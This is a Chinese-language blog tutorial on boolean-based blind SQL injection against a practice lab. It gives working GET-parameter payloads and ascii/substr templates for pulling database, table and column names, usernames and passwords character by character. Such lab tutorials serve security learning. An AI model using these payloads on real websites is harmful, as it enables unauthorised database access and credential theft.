您现在的位置是:首页 >学无止境 >35岁重学网络安全——SQL注入篇(十五)网站首页学无止境

35岁重学网络安全——SQL注入篇(十五)

道人禅(armey) 2025-06-04 00:01:02
简介35岁重学网络安全——SQL注入篇(十五)

鲁迅先生曾经说过:做安全,先免责!

用户在使用本文信息时,应自行承担风险。本文不对用户因使用本文信息而导致的任何直接或间接损失承担责任。

本文主要内容:布尔盲注基础与实战(get型)

盲注介绍

盲注:页面既没有回显位,又没有报错信息。在不知道数据库具体返回值的情况下,对数据库中的内容进行猜测,从而实现SQL注入。

布尔盲注简介

页面只返回True真或False假两种类型。利用页面返回不同,进行数据的猜测。

简单讲:页面返回为真,表示猜对了;否则表示猜错了。

案例

参数:?id=1' and 1=1 --+;参数结果为真值,页面存在显示内容
在这里插入图片描述

参数:?id=1' and 1=2 --+,参数结果为假值,页面中不存在内容
在这里插入图片描述

所用函数

ascii() 函数是一个非常有用的字符串处理函数,主要用于获取字符的 ASCII 码值。

select ascii('s');
select ascii('e');
select ascii('c');

在这里插入图片描述

使用ascii()函数进行字母判断

使用use security;命令切换到security数据库下

# 查询数据库
select database();
# 获取数据库名称中的第一个字母
select substr((select database()),1,1);
# 将数据库名称首字母转化为ASCII码
select ascii(substr((select database()),1,1));

在这里插入图片描述

查询数据库内容

# and两侧的sql语句结果均为真,可以可以查询到内容
select * from users where id = 1 
and 
ascii(substr((select database()),1,1)) = 115;

# and右侧是语句结果为假,因此查询不到数据
select * from users where id = 1 
and 
ascii(substr((select database()),1,1)) = 116;

在这里插入图片描述

上面是我们知道数据库的名称为security,但在实际情况中,我们肯定不知道数据库的名称。这时我们可以使用二分法进行测试

# 右侧条件为假,查询不到数据
select * from users where id = 1 
and 
ascii(substr((select database()),1,1)) >= 126;

# 两侧条件为真,查询到数据
select * from users where id = 1 
and 
ascii(substr((select database()),1,1)) <= 126;

在这里插入图片描述

靶场实战

说明:
1.一般不会有人进行手动的盲注(包括后面的盲注),一般都会使用sqlmap,或编写自动化的脚本。
2. 但是直接使用sqlmap有可能会被waf拦截,有时候你可能需要先进行手动的测试,然后在编写脚本
3. 只有懂得了原理,才能编写出自己的程序或看懂他人的程序

使用靶场中的第八节

在这里插入图片描述

1.查找回显位

盲注没有回显位,跳过

2. 判断注入类型

参数:?id=1 and 1=2 --+

  • 1=2为假,但是页面中有内容,因此为字符型注入
  • PS:不使用id=2-1进行判断,是因为页面没有数据库内容回显

在这里插入图片描述

3.判断闭合方式

参数:?id=1' and 1=2 --+

首先题目中有写到单引号闭合。

当然,使用单引号测试闭合,且右侧条件为假,页面不在显示内容。即使用单引号闭合

在这里插入图片描述

4.布尔盲注

因为布尔盲注一般使用自动化脚本进行攻击,手动进行布尔盲注会很麻烦,因此这里只进行数据库名称的获取,至于表中内容不在进行获取

简单讲:使用select database()获取数据库名称,然后逐个字母进行比较。

如下所示:

# 判断第一个字母
and ascii(substr((select database()),1,1)) >= 120 --+
and ascii(substr((select database()),1,1)) >= 110 --+
and ascii(substr((select database()),1,1)) = 115 --+
# 也可以不使用ascii()函数,直接判断字符
and substr((select database()),1,1) = 's' --+

# 判断第二个字母
and ascii(substr((select database()),2,1)) >= 110 --+

在这里插入图片描述

在这里插入图片描述

在这里插入图片描述

布尔盲注基本流程就是这样,后面获取数据表及表中的数据也是依靠逐个字母比较的方式。可以自己写一个脚本进行测试。

参考语法

以下为参考的查询语句,看懂即可,也可以根据下面的查询语句自己编写布尔盲注的脚本,进行自动化的数据获取。

# 查询表名
and ascii(substr((select table_name from information_schema.tables where table_schema = database() limit 0,1),1,1)) > 110 --+

# 查询列名
and ascii(substr((select column_name from information_schema.columns where table_schema = database() and table_name ='users' limit 0,1),1,1)) > 110 --+

# 查询用户名
and ascii(substr((select username from users limit 0,1),1,1)) > 110 --+

# 查询密码
and ascii(substr((select password from users limit 0,1),1,1)) > 110 --+
模型

进行查询操作时,只需要将下列语句中的xxxxx替换为对应的sql语句即可

and ascii(substr((xxxxx),1,1)) > 110 --+

无情的广告时间

哈哈哈哈,又到了大家喜欢的广告时间了,公众号:编码魔坊,喜欢的话给个关注呗,点击下方小卡片,扫码即可关注,谢谢您的关注!!!

风语者!平时喜欢研究各种技术,目前在从事后端开发工作,热爱生活、热爱工作。